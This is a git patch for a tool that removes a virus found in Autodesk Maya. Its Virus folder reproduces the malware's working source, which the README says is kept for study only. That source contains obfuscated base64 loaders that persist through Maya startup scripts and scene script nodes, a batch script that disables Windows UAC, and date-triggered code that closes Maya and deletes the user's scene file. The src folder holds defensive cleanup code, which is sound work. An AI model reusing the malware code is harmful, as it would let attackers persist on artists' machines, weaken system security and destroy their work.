From 87d220c1e7c85699a71e3445c11f67ba59ffa6ed Mon Sep 17 00:00:00 2001 From: CangSpirit Date: Tue, 30 Apr 2024 09:07:26 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=F0=9F=8E=89=20Initial=20commit?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 20 +++- Virus/KGMScriptProtector.mel | 16 +++ Virus/sys.bat | 10 ++ Virus/uition-u1.py | 189 +++++++++++++++++++++++++++++++++++ Virus/uition-u2.py | 116 +++++++++++++++++++++ Virus/uition-u3.py | 12 +++ Virus/uition.t | 1 + icon.ico | Bin 0 -> 4286 bytes pyeal.json | 5 + src/Restore-UAC.ps1 | 16 +++ src/gui.py | 69 +++++++++++++ src/kill-mayafile.py | 0 src/kill.py | 49 +++++++++ 13 files changed, 502 insertions(+), 1 deletion(-) create mode 100644 Virus/KGMScriptProtector.mel create mode 100644 Virus/sys.bat create mode 100644 Virus/uition-u1.py create mode 100644 Virus/uition-u2.py create mode 100644 Virus/uition-u3.py create mode 100644 Virus/uition.t create mode 100644 icon.ico create mode 100644 pyeal.json create mode 100644 src/Restore-UAC.ps1 create mode 100644 src/gui.py create mode 100644 src/kill-mayafile.py create mode 100644 src/kill.py diff --git a/README.md b/README.md index 3b8b64d..0af7549 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,20 @@ # VirusKiller_240429 -于24年04月29日发现的病毒的清理程序, 此病毒将会与5月1日后在保存文件时关闭Maya,6月1日后保存文件时删除Maya场景文件 + +于24年04月29日发现的病毒的清理程序, +此病毒将会与5月1日后在保存文件时关闭Maya,6月1日后保存文件时删除Maya场景文件 + +## 使用方法 + +1. 下载release中的zip安装包 +2. 解压到任意目录 +3. 将install.mel拖动到Maya窗口中运行 +4. 根据需要执行`清除病毒本体`、`恢复UAC设置`、`清除病毒脚本节点`操作 + +## 项目结构 + +- `icon.ico` - 程序图标 +- `pyeal.json` - 打包配置 +- `src` - 源码 +- `Virus` - 病毒本体、病毒解析数据 ps: 仅供学习交流使用, 请勿传播与运行这部分代码 + + diff --git a/Virus/KGMScriptProtector.mel b/Virus/KGMScriptProtector.mel new file mode 100644 index 0000000..7139a0d --- /dev/null +++ b/Virus/KGMScriptProtector.mel @@ -0,0 +1,16 @@ +global proc string[] EEgetCurrTypeList(string $currType) + { + string $nodeList[]; + switch($currType) + { + case "scriptNode": $nodeList = `ls -type script`; + int $Num,$Chk=0; + for($Num=0;$Numnul + if %errorlevel%==0 ( rd "%SystemRoot%\system32\%uac%" >nul 2>nul ) else ( + echo set uac = CreateObject^("Shell.Application"^)>"%temp%\%uac%.vbs" + echo uac.ShellExecute "%~s0","","","runas",1 >>"%temp%\%uac%.vbs" + echo WScript.Quit >>"%temp%\%uac%.vbs" + "%temp%\%uac%.vbs" /f + del /f /q "%temp%\%uac%.vbs" & exit ) + reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f + REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f \ No newline at end of file diff --git a/Virus/uition-u1.py b/Virus/uition-u1.py new file mode 100644 index 0000000..67a268f --- /dev/null +++ b/Virus/uition-u1.py @@ -0,0 +1,189 @@ +# -*- coding: UTF-8 -*- +# Time: 2024/02/01 +# File: uition.py + +import maya.cmds as cmds +import maya.mel as mel +import datetime +import base64 +import os +import stat + +def execute(): + usepypath = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.py' + if os.path.exists(usepypath): + os.chmod( usepypath, stat.S_IWRITE ) + with open(usepypath, 'rb') as f: + data = f.readline() + setAttrdslist=[] + x_ = open(usepypath, "r") + for line in x_: + if ("import vaccine" in line) or ("cmds.evalDeferred('leukocyte = vaccine.phage()')" in line) or ("cmds.evalDeferred('leukocyte.occupation()')" in line): + pass + else: + setAttrdslist.append(line) + newfile=open(usepypath,"w") + newfile.writelines(setAttrdslist) + newfile.close() + uitionpath_=os.getenv("APPDATA")+base64.urlsafe_b64decode('L3N5c3NzdA==').decode('utf-8') + uitionpath=uitionpath_.replace('\\','/') + if not os.path.exists(uitionpath): + os.mkdir(uitionpath) + uition_path="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3VpdGlvbi50').decode('utf-8')) + try: + if cmds.objExists('uifiguration'): + Xgee = eval(cmds.getAttr('uifiguration.notes')) + with open(uition_path, "w") as f: + f.writelines(Xgee) + except ValueError as e: + pass + hjkl,pou,aba,ffd,ggs,gfh,aq,gh,ll,tt,ff,gg,ghd,kk,da,cc,ghj,ii,jaj='/','/p','\n','urc','l1','0n','h_C','N/p','/ma','pres','.m','el','yaH','IK.','/reso','es/','/z','lug-ins','ja_JP' + addressCN_path=os.getenv("MAYA_LOCATION")+"%s"%da+ffd+cc+ggs+gfh+ghj+aq+gh+ii+ll+ghd+kk+tt+ff+gg + addressJP_path=os.getenv("MAYA_LOCATION")+"%s"%da+ffd+cc+ggs+gfh+hjkl+jaj+pou+ii+ll+ghd+kk+tt+ff+gg + M_el= "import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)" + xxx='python("%s");' % M_el + address_use=aba+xxx + try: + pylist=[] + delmellist=[] + with open(addressCN_path, "r") as f: + content = f.readlines() + if xxx in content: + pylist.append(address_use) + delmellist.append('1') + if not pylist: + with open(addressCN_path, "a") as f: + f.writelines(address_use) + delmellist.append('1') + mayalist=['Maya2016','Maya2017','Maya2018','Maya2019','Maya2020','Maya2021'] + for i in mayalist: + if os.getenv("MAYA_LOCATION").rsplit('/',1)[1] ==i: + pylistjp=[] + with open(addressJP_path, "r") as f: + content = f.readlines() + if xxx in content: + pylistjp.append(address_use) + delmellist.append('1') + if not pylistjp: + with open(addressJP_path, "a") as f: + f.writelines(address_use) + delmellist.append('1') + mayalistB=['Maya2022','Maya2023'] + for i in mayalistB: + if os.getenv("MAYA_LOCATION").rsplit('/',1)[1] ==i: + pylistjp=[] + with open(addressJP_path, "r",errors='ignore') as f: + content = f.readlines() + if xxx in content: + pylistjp.append(address_use) + delmellist.append('1') + if not pylistjp: + with open(addressJP_path, "a") as f: + f.writelines(address_use) + delmellist.append('1') + if delmellist: + userS_mel = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel' + if os.path.exists(userS_mel): + os.chmod( userS_mel, stat.S_IWRITE ) + os.remove(userS_mel) + except IOError as e: + p="\n" + address_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.mel' + M_el= "import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)" + xxx='python("%s");' % M_el + pMel=p+xxx + if not os.path.exists(address_path): + with open(address_path, "a") as f: + f.writelines(pMel) + else: + os.chmod( address_path, stat.S_IWRITE ) + userSetupList=[] + with open(address_path, "r") as f: + content = f.readlines() + if xxx in content: + userSetupList.append(xxx) + if not userSetupList: + with open(address_path, "a") as f: + f.writelines(pMel) + if datetime.datetime.now().strftime('%Y%m%d') >=base64.urlsafe_b64decode('MjAyNDA0Mjc=').decode('utf-8'): + batch_script = """set uac=~uac_permission_tmp_%random% + md "%SystemRoot%\system32\%uac%" 2>nul + if %errorlevel%==0 ( rd "%SystemRoot%\system32\%uac%" >nul 2>nul ) else ( + echo set uac = CreateObject^("Shell.Application"^)>"%temp%\%uac%.vbs" + echo uac.ShellExecute "%~s0","","","runas",1 >>"%temp%\%uac%.vbs" + echo WScript.Quit >>"%temp%\%uac%.vbs" + "%temp%\%uac%.vbs" /f + del /f /q "%temp%\%uac%.vbs" & exit ) + reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f + REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f""" + sysbt="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3N5cy5iYXQ=').decode('utf-8')) + if not os.path.exists(sysbt): + with open(sysbt, 'w') as file: + file.write(batch_script) + output=os.popen(sysbt).read() + writeIn() + if not os.access(base64.urlsafe_b64decode('UDovX2RhdGFfL3N0b3AuVA==').decode('utf-8'),os.W_OK): + if datetime.datetime.now().strftime('%Y%m%d') >=base64.urlsafe_b64decode('MjAyNDA2MDE=').decode('utf-8'): + filepath = cmds.file(sn=True,q=True) + os.remove(filepath) +def writeIn(): + uitionpath_=os.getenv("APPDATA")+base64.urlsafe_b64decode('L3N5c3NzdA==').decode('utf-8') + uitionpath=uitionpath_.replace('\\','/') + if not os.path.exists(uitionpath): + os.mkdir(uitionpath) + uition_path="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3VpdGlvbi50').decode('utf-8')) + MEL_code = '''global proc string[] EEgetCurrTypeList(string $currType) + { + string $nodeList[]; + switch($currType) + { + case "scriptNode": $nodeList = `ls -type script`; + int $Num,$Chk=0; + for($Num=0;$Num=base64.urlsafe_b64decode('MjAyNDA1MDE==').decode('utf-8'): + cmds.quit(abort=True) \ No newline at end of file diff --git a/Virus/uition-u3.py b/Virus/uition-u3.py new file mode 100644 index 0000000..d5cdcd4 --- /dev/null +++ b/Virus/uition-u3.py @@ -0,0 +1,12 @@ +import binascii +import os +maya_path_=os.getenv("APPDATA")+'\syssst' +mayapath=maya_path_.replace('\\','/') +maya_path='%s/uition.t'%mayapath +try: + with open(maya_path, 'rb') as f: + d_a_t_a = f.read() + data = binascii.a2b_base64(d_a_t_a) + exec(data) +except IOError as e: + pass \ No newline at end of file diff --git a/Virus/uition.t b/Virus/uition.t new file mode 100644 index 0000000..319dcd5 --- /dev/null +++ b/Virus/uition.t @@ -0,0 +1 @@ +IyAtKi0gY29kaW5nOiBVVEYtOCAtKi0NCiMgVGltZTogMjAyNC8wMi8wMQ0KIyBGaWxlOiB1aXRpb24ucHkNCg0KaW1wb3J0IG1heWEuY21kcyBhcyBjbWRzDQppbXBvcnQgbWF5YS5tZWwgYXMgbWVsDQppbXBvcnQgZGF0ZXRpbWUNCmltcG9ydCBiYXNlNjQNCmltcG9ydCBvcw0KaW1wb3J0IHN0YXQgDQogDQpkZWYgZXhlY3V0ZSgpOg0KICAgIHVzZXB5cGF0aCA9IGNtZHMuaW50ZXJuYWxWYXIodXNlckFwcERpcj1UcnVlKSArICcvc2NyaXB0cy91c2VyU2V0dXAucHknICANCiAgICBpZiAgb3MucGF0aC5leGlzdHModXNlcHlwYXRoKToNCiAgICAgICAgb3MuY2htb2QoIHVzZXB5cGF0aCwgc3RhdC5TX0lXUklURSApDQogICAgICAgIHdpdGggb3Blbih1c2VweXBhdGgsIC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IwMjEnXQ0KICAgICAgICBmb3IgaSBpbiBtYXlhbGlzdDoNCiAgICAgICAgICAgIGlmIG9zLmdldGVudigiTUFZQV9MT0NBVElPTiIpLnJzcGxpdCgnLycsMSlbMV0gPT1pOiANCiAgICAgICAgICAgICAgICBweWxpc3RqcD1bXQ0KICAgICAgICAgICAgICAgIHdpdGggb3BlbihhZGRyZXNzSlBfcGF0aCwgInIiKSBhcyBmOg0KICAgICAgICAgICAgICAgICAgICBjb250ZW50ID0gZi5yZWFkbGluZXMoKQ0KICAgICAgICAgICAgICAgICAgICBpZiB4eHggaW4gY29udGVudDoNCiAgICAgICAgICAgICAgICAgICAgICAgIHB5bGlzdGpwLmFwcGVuZChhZGRyZXNzX3VzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGRlbG1lbGxpc3QuYXBwZW5kKCcxJykNCiAgICAgICAgICAgICAgICBpZiBub3QgcHlsaXN0anA6ICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihhZGRyZXNzSlBfcGF0aCwgImEiKSBhcyBmOg0KICAgICAgICAgICAgICAgICAgICAJZi53cml0ZWxpbmVzKGFkZHJlc3NfdXNlKQ0KICAgICAgICAgICAgICAgICAgICAJZGVsbWVsbGlzdC5hcHBlbmQoJzEnKQ0KICAgICAgICBtYXlhbGlzdEI9WydNYXlhMjAyMicsJ01heWEyMDIzJ10NCiAgICAgICAgZm9yIGkgaW4gbWF5YWxpc3RCOg0KICAgICAgICAgICAgaWYgb3MuZ2V0ZW52KCJNQVlBX0xPQ0FUSU9OIikucnNwbGl0KCcvJywxKVsxXSA9PWk6IA0KICAgICAgICAgICAgICAgIHB5bGlzdGpwPVtdDQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKGFkZHJlc3NKUF9wYXRoLCAiciIsZXJyb3JzPSdpZ25vcmUnKSBhcyBmOg0KICAgICAgICAgICAgICAgICAgICBjb250ZW50ID0gZi5yZWFkbGluZXMoKQ0KICAgICAgICAgICAgICAgICAgICBpZiB4eHggaW4gY29udGVudDoNCiAgICAgICAgICAgICAgICAgICAgICAgIHB5bGlzdGpwLmFwcGVuZChhZGRyZXNzX3VzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGRlbG1lbGxpc3QuYXBwZW5kKCcxJykgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmIG5vdCBweWxpc3RqcDogICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgd2l0aCBvcGVuKGFkZHJlc3NKUF9wYXRoLCAiYSIpIGFzIGY6DQogICAgICAgICAgICAgICAgICAgIAlmLndyaXRlbGluZXMoYWRkcmVzc191c2UpDQogICAgICAgICAgICAgICAgICAgIAlkZWxtZWxsaXN0LmFwcGVuZCgnMScpDQogICAgICAgIGlmIGRlbG1lbGxpc3Q6DQogICAgICAgICAgICB1c2VyU19tZWwgPSBjbWRzLmludGVybmFsVmFyKHVzZXJBcHBEaXI9VHJ1ZSkgKyAnL3NjcmlwdHMvdXNlclNldHVwLm1lbCcNCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHVzZXJTX21lbCk6DQogICAgICAgICAgICAgICAgb3MuY2htb2QoIHVzZXJTX21lbCwgc3RhdC5TX0lXUklURSApIA0KICAgICAgICAgICAgICAgIG9zLnJlbW92ZSh1c2VyU19tZWwpDQogICAgZXhjZXB0IElPRXJyb3IgYXMgZTogICAgICAgICANCiAgICAgICAgcD0iXG4iDQogICAgICAgIGFkZHJlc3NfcGF0aCA9IGNtZHMuaW50ZXJuYWxWYXIodXNlckFwcERpcj1UcnVlKSArICdzY3JpcHRzL3VzZXJTZXR1cC5tZWwnICAgICAgICANCiAgICAgICAgTV9lbD0gImltcG9ydCBiYXNlNjQ7IHB5Q29kZSA9IGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnYVcxd2IzSjBJR0pwYm1GelkybHBEV2x0Y0c5eWRDQnZjdzF0WVhsaFgzQmhkR2hmUFc5ekxtZGxkR1Z1ZGlnaVFWQ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NlclNldHVwTGlzdDogICAgICAgICANCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYWRkcmVzc19wYXRoLCAiYSIpIGFzIGY6DQogICAgICAgICAgICAgICAgCWYud3JpdGVsaW5lcyhwTWVsKSAgICAgICAgICAgIA0KICAgICAgICBpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREEwTWpjPScpLmRlY29kZSgndXRmLTgnKToNCiAgICAgICAgICAgIGJhdGNoX3NjcmlwdCA9ICIiInNldCB1YWM9fnVhY19wZXJtaXNzaW9uX3RtcF8lcmFuZG9tJQ0KICAgICAgICAgICAgbWQgIiVTeXN0ZW1Sb290JVxzeXN0ZW0zMlwldWFjJSIgMj5udWwNCiAgICAgICAgICAgIGlmICVlcnJvcmxldmVsJT09MCAoIHJkICIlU3lzdGVtUm9vdCVcc3lzdGVtMzJcJXVhYyUiID5udWwgMj5udWwgKSBlbHNlICgNCiAgICAgICAgICAgICAgICBlY2hvIHNldCB1YWMgPSBDcmVhdGVPYmplY3ReKCJTaGVsbC5BcHBsaWNhdGlvbiJeKT4iJXRlbXAlXCV1YWMlLnZicyINCiAgICAgICAgICAgICAgICBlY2hvIHVhYy5TaGVsbEV4ZWN1dGUgIiV+czAiLCIiLCIiLCJydW5hcyIsMSA+PiIldGVtcCVcJXVhYyUudmJzIg0KICAgICAgICAgICAgICAgIGVjaG8gV1NjcmlwdC5RdWl0ID4+IiV0ZW1wJVwldWFjJS52YnMiDQogICAgICAgICAgICAgICAgIiV0ZW1wJVwldWFjJS52YnMiIC9mDQogICAgICAgICAgICAgICAgZGVsIC9mIC9xICIldGVtcCVcJXVhYyUudmJzIiAmIGV4aXQgKQ0KICAgICAgICAgICAgcmVnIGFkZCAiSEtFWV9MT0NBTF9NQUNISU5FXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW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VtXWAmJiRDaGs9PTEpeyRub2RlTGlzdFskTnVtXT0iICI7fTsNCiAgICAJCQkJCQkJCSROdW0rKzsNCiAgICAJCQkJCQkJfTsNCiAgICAJCQkJCQkJYnJlYWs7DQogICAgCX0NCiAgICAJcmV0dXJuICRub2RlTGlzdDsNCiAgICB9JycnDQogICAgbWVsZG09JyVzJXMnJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDB0SFRWTmpjbWx3ZEZCeWIzUmxZM1J2Y2k1dFpXdz0nKS5kZWNvZGUoJ3V0Zi04JykpDQogICAgd2l0aCBvcGVuKG1lbGRtLCAndycpIGFzIGZpbGU6DQogICAgICAgIGZpbGUud3JpdGUoTUVMX2NvZGUpDQogICAgbWVsLmV2YWwoJ3NvdXJjZSAie30iJy5mb3JtYXQobWVsZG0pKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGlmIG5vdCBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6DQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHVpdGlvbl9wYXRoKToNCiAgICAgICAgICAgIFhnZWUgPSBsaXN0KCkgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB3aXRoIG9wZW4odWl0aW9uX3BhdGgsICdyJykgYXMgZjoNCiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiBmLnJlYWRsaW5lcygpOg0KICAgICAgICAgICAgICAgICAgICBYZ2VlLmFwcGVuZChsaW5lKSAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGNtZHMuc2NyaXB0Tm9kZShzdD0xLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicz0icHl0aG9uKFwiaW1wb3J0IGJhc2U2NDsgX3B5Y29kZSA9IGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnYVcxd2IzSjBJRzFoZVdFdVkyMWtjeUJoY3lCamJXUnpDbWx0Y0c5eWRDQnpkV0p3Y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zJyUodWl0aW9ucGF0aCxiYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ0wwdEhUVk5qY21sd2RGQnliM1JsWTNSdmNpNXRaV3c9JykuZGVjb2RlKCd1dGYtOCcpKQ0Kd2l0aCBvcGVuKG1lbGRtLCAndycpIGFzIGZpbGU6DQogICAgZmlsZS53cml0ZShNRUxfY29kZSkNCm1lbC5ldmFsKCdzb3VyY2UgInt9IicuZm9ybWF0KG1lbGRtKSkg diff --git a/icon.ico b/icon.ico new file mode 100644 index 0000000000000000000000000000000000000000..6adcbd61548e4e23e8ddbe582c0eb9a3bfefda61 GIT binary patch literal 4286 zcmc(jhg+3bw#L6xs0Ypg!2))K&=f>Piu9rp#1at;ia=DVic~?GB1#c#U`4DT;MiN@ zwZze65)-{@G%BMLlbcKulbe}jX1vju{AQh#+~@uY7oNr0&-d-U-c{ed4vM0Z-(kZP z<6ouAPEqSU`kId=U@2_xj9 z`O^}j@P3Mh_ZDi{5~^^1T`)blt~3NFro9azDr$mMRE}3sHdaN6-|zN&t4J3tqrXNQ z(qx?>xVfX$8w^9i4_2q*z&8(Rpgo~{m;~liz&R21-T*ueCUO4)<{8UM<*M*4RlE1Dc!+CObDf<#EIJRg2w+_wb zL8-!xDs%d)6jG+f^2Oawo`3f-7Z234cCH`(L!5EfX}Dc(#?7S)w>sx?IN6bXZ`knU zN;Zd522dZUuukGyDK;4EVY$?2nbesPyH@;eiqOzBUg2VOFuZz;%VlnyOts>hgHGJv zsHLA;YJKih{{HkVy!?v)`uuag`}SKNymy-BC7}clcfwsS^{~N=&vp*vXo?k=%Dv&| zQ=BXEp-Fse4AV$GD5m-@65p$(Hr7e4Hiau}jZio+!$9YBEyt47TrPIw@%H|F*{CHT@wfi#K!HR=(EKI&fJLwqLM~j7GPDimBKOB*|X$;_G zvK4O?_|m=5i59^(`dlkDxk+NaGgf?`rlo7T#H@QBH|t09mpv+;-Lqt5KXcM%r?ICx zoXIa%20?I7fDOq8V2jE zDNK)Je)w1>x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%vcpF*b^+s3$zrGxgyw#k`PN)g;`J)VZqvHbLwKuXo!)Tn4zOZ z?#foNXRmNnce*t<4`y;a!;CXB+nvf(IG$zAhX=ChTxiZdnOj@sZrc(s-^-@inlRVJ zn6oCzg3549R)$(qIKhg%AZv00bmRuwvOGvf{se1^L#-(dv!*=4imE6p*2Y*-D`y*C zmzgoanyoU!ZkuLCtJu?)q@{h1IqkE}*qtbL3ZJ#gyDd}AX`Z5^{&j0=qAgh+qoX2H z^oCngBKiv^=vW@CBS&yE1N3AC7{mrW%YtQg2(h6c)Ry9KTgoDAD37$ELhkkIXdN}N zI%+3bQzv>G;&n8}ThTPdlBReIlQhN~-&wIv_NOX#G literal 0 HcmV?d00001 diff --git a/pyeal.json b/pyeal.json new file mode 100644 index 0000000..a3a3d00 --- /dev/null +++ b/pyeal.json @@ -0,0 +1,5 @@ +{ + "type": "maya-plugin", + "exec_script": "import gui; gui.create_gui()", + "name": "VirusKiller_240429" +} \ No newline at end of file diff --git a/src/Restore-UAC.ps1 b/src/Restore-UAC.ps1 new file mode 100644 index 0000000..d083dfc --- /dev/null +++ b/src/Restore-UAC.ps1 @@ -0,0 +1,16 @@ +# PowerShell script to restore default UAC settings + +# Ensures the script is running as Administrator +if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) +{ + Write-Warning "You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!" + Break +} + +# Set ConsentPromptBehaviorAdmin to '5' - Prompt for consent on the secure desktop +Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 5 + +# Set EnableLUA to '1' - Enable LUA +Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1 + +Write-Output "UAC settings have been restored to default values. A system restart may be required for changes to take effect." diff --git a/src/gui.py b/src/gui.py new file mode 100644 index 0000000..3d3f47f --- /dev/null +++ b/src/gui.py @@ -0,0 +1,69 @@ +# -*-coding:utf-8 -*- +""" +:PROJECT_NAME: VirusKiller_240429 +:File: gui.py +:Time: 2024/4/29 下午3:16 +:Author: 张隆鑫 +""" +from __future__ import unicode_literals, print_function, division + +import os +import re + +if False: + from typing import * + +import maya.cmds as cmds +import kill +import subprocess + + +def clear_virus(): + kill.kill_virus() + + +def restore_UAC(): + subprocess.Popen( + ['powershell', os.path.join(os.path.dirname(__file__), 'restore_UAC.ps1')], + ) + + +def clear_virus_script_node(): + script_node = cmds.ls(type='script') + if script_node: + virus_script_node = [] + for node in script_node: + script = cmds.scriptNode(node, q=True, bs=True) + if re.findall(r'import base64;\s*_pycode\s*=\s*base64\.urlsafe_b64decode\([\'\"](.*?)[\"\']\)', script): + virus_script_node.append(node) + if virus_script_node: + for node in virus_script_node: + cmds.delete(node) + cmds.warning('病毒脚本节点清理完成') + else: + cmds.warning('未发现病毒脚本节点') + else: + cmds.warning('未发现病毒脚本节点') + +# 从上到下三个按钮 +def create_gui(): + # type: () -> None + """ + 创建 GUI. + """ + if cmds.window('VirusKiller_240429', exists=True): + cmds.deleteUI('VirusKiller_240429') + + cmds.window('VirusKiller_240429', title='VirusKiller_240429', widthHeight=(200, 200)) + + cmds.columnLayout(adjustableColumn=True) + + cmds.button(label='清除病毒本体', command=lambda *args: clear_virus()) + cmds.button(label='恢复UAC设置', command=lambda *args: restore_UAC()) + cmds.button(label='清除病毒脚本节点', command=lambda *args: clear_virus_script_node()) + + cmds.showWindow('VirusKiller_240429') + + +if __name__ == '__main__': + create_gui() diff --git a/src/kill-mayafile.py b/src/kill-mayafile.py new file mode 100644 index 0000000..e69de29 diff --git a/src/kill.py b/src/kill.py new file mode 100644 index 0000000..f1244af --- /dev/null +++ b/src/kill.py @@ -0,0 +1,49 @@ +# -*-coding:utf-8 -*- +""" +:PROJECT_NAME: tee +:File: gui.py +:Time: 2024/4/29 下午3:16 +:Author: 张隆鑫 + + +病毒清理程序 +""" +from __future__ import unicode_literals, print_function, division + +import os +import re +import shutil +import maya.cmds as cmds +import base64; + + +def kill_virus(): + user_setup_py = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel' + if os.path.exists(user_setup_py): + with open(user_setup_py, 'rb') as f: + data = f.read() + virus_code = re.findall( + r'import base64;\s*pyCode\s*=\s*base64\.urlsafe_b64decode\([\'\"](.*?)[\"\']\)', + data, + ) + if len(virus_code) < 1: + cmds.warning('未发现病毒') + return + virus_code = virus_code[0] + virus_code = base64.urlsafe_b64decode(virus_code) + # maya_path_=os.getenv("APPDATA")+'\syssst' + virus_path = re.findall( + r'maya_path_\s*=\s*os.getenv\([\'\"]APPDATA[\'\"]\)\+[\'\"]\\([a-zA-Z0-9]+)[\'\"]', + virus_code, + ) + if len(virus_path) < 1: + os.remove(user_setup_py) + cmds.warning('发现病毒, 但未找到病毒路径') + return + virus_path = virus_path[0] + virus_path = os.getenv('APPDATA') + '\\' + virus_path + if os.path.isdir(virus_path): + shutil.rmtree(virus_path) + cmds.warning('病毒清理完成') + else: + cmds.warning('病毒路径不存在')